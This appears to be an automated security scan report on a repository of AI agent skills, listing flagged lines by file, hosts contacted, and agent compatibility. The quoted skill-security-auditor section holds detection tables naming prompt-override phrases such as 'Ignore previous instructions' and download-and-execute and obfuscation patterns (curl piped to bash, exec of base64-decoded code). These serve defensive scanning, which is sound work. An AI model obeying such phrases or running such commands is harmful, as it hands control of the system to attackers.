<w:document xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 16
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 17
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.op - Network accessline 2
<!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> --> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/> - Network accessline 5
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> -->
skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" att - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 3
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft. - Network accessline 2
<xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx/ooxml/scripts/pack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx/ooxml/scripts/unpack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx/ooxml/scripts/validate.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx/ooxml/scripts/validation/__init__.py
- Executable scriptline 1
Executable file
skills/pptx/ooxml/scripts/validation/base.py
- Executable scriptline 1
Executable file - Network accessline 70
MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 71
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" - Network accessline 74
PACKAGE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 75
"http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 76
) OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 77
OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" ) - Network accessline 78
"http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 79
) CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 80
CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" ) - Network accessline 81
"http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 88
OOXML_NAMESPACES = { "http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 89
"http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 90
"http://schemas.openxmlformats.org/officeDocument/2006/relationships", - Network accessline 91
"http://schemas.openxmlformats.org/schemaLibrary/2006/main", - Network accessline 92
"http://schemas.openxmlformats.org/drawingml/2006/main", - Network accessline 93
"http://schemas.openxmlformats.org/drawingml/2006/chart", - Network accessline 94
"http://schemas.openxmlformats.org/drawingml/2006/chartDrawing", - Network accessline 95
"http://schemas.openxmlformats.org/drawingml/2006/diagram", - Network accessline 96
"http://schemas.openxmlformats.org/drawingml/2006/picture", - Network accessline 97
"http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing", - Network accessline 98
"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing", - Network accessline 99
"http://schemas.openxmlformats.org/wordprocessingml/2006/main", - Network accessline 100
"http://schemas.openxmlformats.org/presentationml/2006/main", - Network accessline 101
"http://schemas.openxmlformats.org/spreadsheetml/2006/main", - Network accessline 102
"http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes", - Network accessline 103
"http://www.w3.org/XML/1998/namespace",
skills/pptx/ooxml/scripts/validation/docx.py
skills/pptx/ooxml/scripts/validation/pptx.py
skills/pptx/ooxml/scripts/validation/redlining.py
- Executable scriptline 1
Executable file - Network accessline 17
self.verbose = verbose self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 18
self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" } - Network accessline 19
"w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/pptx/scripts/html2pptx.js
- Executable scriptline 1
Executable file
skills/pptx/scripts/inventory.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 166
): pPr = paragraph._p.pPr ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}" - Network accessline 167
pPr = paragraph._p.pPr ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}" if ( - Network accessline 168
ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}"
skills/pptx/scripts/rearrange.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 103
for blip in blips: old_rId = blip.get( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" - Network accessline 104
old_rId = blip.get( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" ) - Network accessline 105
"{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" - Network accessline 115
blip.set( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed", - Network accessline 116
"{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed",
skills/pptx/scripts/replace.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx/scripts/thumbnail.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-creator/LICENSE.txt
skills/skill-creator/scripts/init_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-creator/scripts/package_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-creator/scripts/quick_validate.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-security-auditor/SKILL.md
- Instruction override signalline 67
| 检测模式 | 风险等级 | 示例 | |---------|---------|------| | 角色劫持 | CRITICAL | "You are now a...", "Ignore previous instructions" | - Instruction override signalline 68
|---------|---------|------| | 角色劫持 | CRITICAL | "You are now a...", "Ignore previous instructions" | | 指令覆盖 | CRITICAL | "Do not follow any rules", "Override system prompt" | - Instruction override signalline 69
| 角色劫持 | CRITICAL | "You are now a...", "Ignore previous instructions" | - Dangerous shell operationline 83
| Python | `exec()`, `eval()`, `subprocess`, `os.system`, `socket` | HIGH | - Dangerous shell operationline 86
| 下载执行 | `curl\|wget.*\| bash`, `python -c "$(curl..."` | CRITICAL | - Network accessline 91
| 检查项 | 风险等级 | 检测规则 | |--------|---------|---------| | 引用非 HTTPS URL | MEDIUM | `http://` 开头的 URL | - Network accessline 92
|--------|---------|---------| | 引用非 HTTPS URL | MEDIUM | `http://` 开头的 URL | | 引用已知恶意域名 | CRITICAL | 与威胁情报库比对 | - Network accessline 93
| 引用非 HTTPS URL | MEDIUM | `http://` 开头的 URL | - Instruction override signalline 137
"category": "prompt_injection", "title": "检测到角色劫持指令", "description": "SKILL.md 第 42 行包含 'Ignore all previous instructions' 模式", - Instruction override signalline 138
"title": "检测到角色劫持指令", "description": "SKILL.md 第 42 行包含 'Ignore all previous instructions' 模式", "location": "SKILL.md:42", - Instruction override signalline 139
"description": "SKILL.md 第 42 行包含 'Ignore all previous instructions' 模式", - Instruction override signalline 140
"location": "SKILL.md:42", "evidence": "...ignore all previous instructions and act as...", "recommendation": "移除该指令,如有合法用途需在 metadata 中声明" - Instruction override signalline 141
"evidence": "...ignore all previous instructions and act as...",
skills/skill-security-auditor/references/tools.md
- Dangerous shell operationline 38
- detect_download_execute(code, language): Detect download-and-execute patterns across languages (curl|sh, wget|bash, python -c "$(curl...)"). Returns findings.
skills/skill-security-auditor/references/workflows.md
- Dangerous shell operationline 63
- detect_download_execute: curl|bash, wget|sh patterns - Dangerous shell operationline 66
- scan_python_block: exec(), eval(), __import__, subprocess, os.system, socket - Dangerous shell operationline 68
- detect_obfuscation: exec(bytes.fromhex()), exec(__import__('base64').b64decode()) - Access to secretsline 77
[Credential-related source omitted]
skills/xlsx/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/xlsx/recalc.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 35
macro_content = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" scr - Network accessline 36
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic"> Sub RecalculateAndSave() - Network accessline 37
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 13 facts
- Contacts cloud.langfuse.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/agent/langfuse_callback.py:65High confidence
- Contacts open.bigmodel.cn, which SKILL.md, the README and the plugin manifest do not mentionapp/core/model/providers/Zhipu.py:56High confidence
- Contacts github.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:30High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:32High confidence
- Contacts accounts.google.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:45High confidence
- Contacts oauth2.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:46High confidence
- Contacts openidconnect.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:47High confidence
- Contacts login.microsoftonline.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:58High confidence
- Contacts graph.microsoft.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:60High confidence
- Contacts gitlab.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/config.py:71High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/oauth/protocols/oauth2.py:198High confidence
- Contacts cloud.langfuse.com, which SKILL.md, the README and the plugin manifest do not mentionapp/core/settings.py:344High confidence
- Contacts pypi.org, which SKILL.md, the README and the plugin manifest do not mentionapp/core/settings.py:352High confidence
Signal confidence: 487 facts
- Access to secrets in code of documentationapp/MODEL.md:181Low confidence
- Executable script in prose of a file that runsapp/__init__.py:1Low confidence
- Executable script in prose of a file that runsapp/api/__init__.py:1Low confidence
- Executable script in code of a file that runsapp/api/schemas.py:1High confidence
- Access to secrets in prose of documentationapp/api/v1/MODEL.md:79Low confidence
- Executable script in prose of a file that runsapp/api/v1/__init__.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/artifacts.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/auth.py:1Low confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:17High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueapp/api/v1/auth.py:136Low confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:141High confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:144High confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:198High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueapp/api/v1/auth.py:373Low confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:403High confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:411High confidence
- Access to secrets in code of a file that runsapp/api/v1/auth.py:424High confidence
- Executable script in prose of a file that runsapp/api/v1/chat.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/conversations.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/custom_tools.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/environment.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/files.py:1Low confidence
- Possible obfuscation in code of a file that runsapp/api/v1/files.py:146High confidence
- Possible obfuscation in code of a file that runsapp/api/v1/files.py:148High confidence
- Possible obfuscation in code of a file that runsapp/api/v1/files.py:150High confidence
- Possible obfuscation in code of a file that runsapp/api/v1/files.py:152High confidence
- Dangerous shell operation in code of a file that runsapp/api/v1/files.py:440High confidence
- Executable script in prose of a file that runsapp/api/v1/graph_code.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/graph_deployments.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/graphs.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/mcp.py:1Low confidence
- Executable script in code of a file that runsapp/api/v1/memory/__init__.py:1High confidence
- Executable script in code of a file that runsapp/api/v1/memory/memory.py:1High confidence
- Executable script in code of a file that runsapp/api/v1/memory/schemas.py:1High confidence
- Executable script in prose of a file that runsapp/api/v1/model_credentials.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/model_providers.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/model_usage.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/models.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/oauth.py:1Low confidence
- Access to secrets in code of a file that runsapp/api/v1/oauth.py:29High confidence
- Access to secrets in code of a file that runsapp/api/v1/oauth.py:213High confidence
- Access to secrets in code of a file that runsapp/api/v1/oauth.py:227High confidence
- Access to secrets in code of a file that runsapp/api/v1/oauth.py:386High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueapp/api/v1/oauth.py:409Low confidence
- Executable script in prose of a file that runsapp/api/v1/openapi_graph.py:1Low confidence
- Executable script in prose of a file that runsapp/api/v1/openclaw_chat.py:1Low confidence
- Network access in code of a file that runsapp/api/v1/openclaw_chat.py:72High confidence
- Network access in code of a file that runsapp/api/v1/openclaw_chat.py:73High confidence
- Network access in code of a file that runsapp/api/v1/openclaw_chat.py:74High confidence
- Network access in code of a file that runsapp/api/v1/openclaw_chat.py:82High confidence
and 437 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Frontmatter field user-invocable in skills/planning-with-files/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md skills/brainstorming/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md skills/brainstorming/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md skills/brainstorming/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md skills/brainstorming/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md skills/brainstorming/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.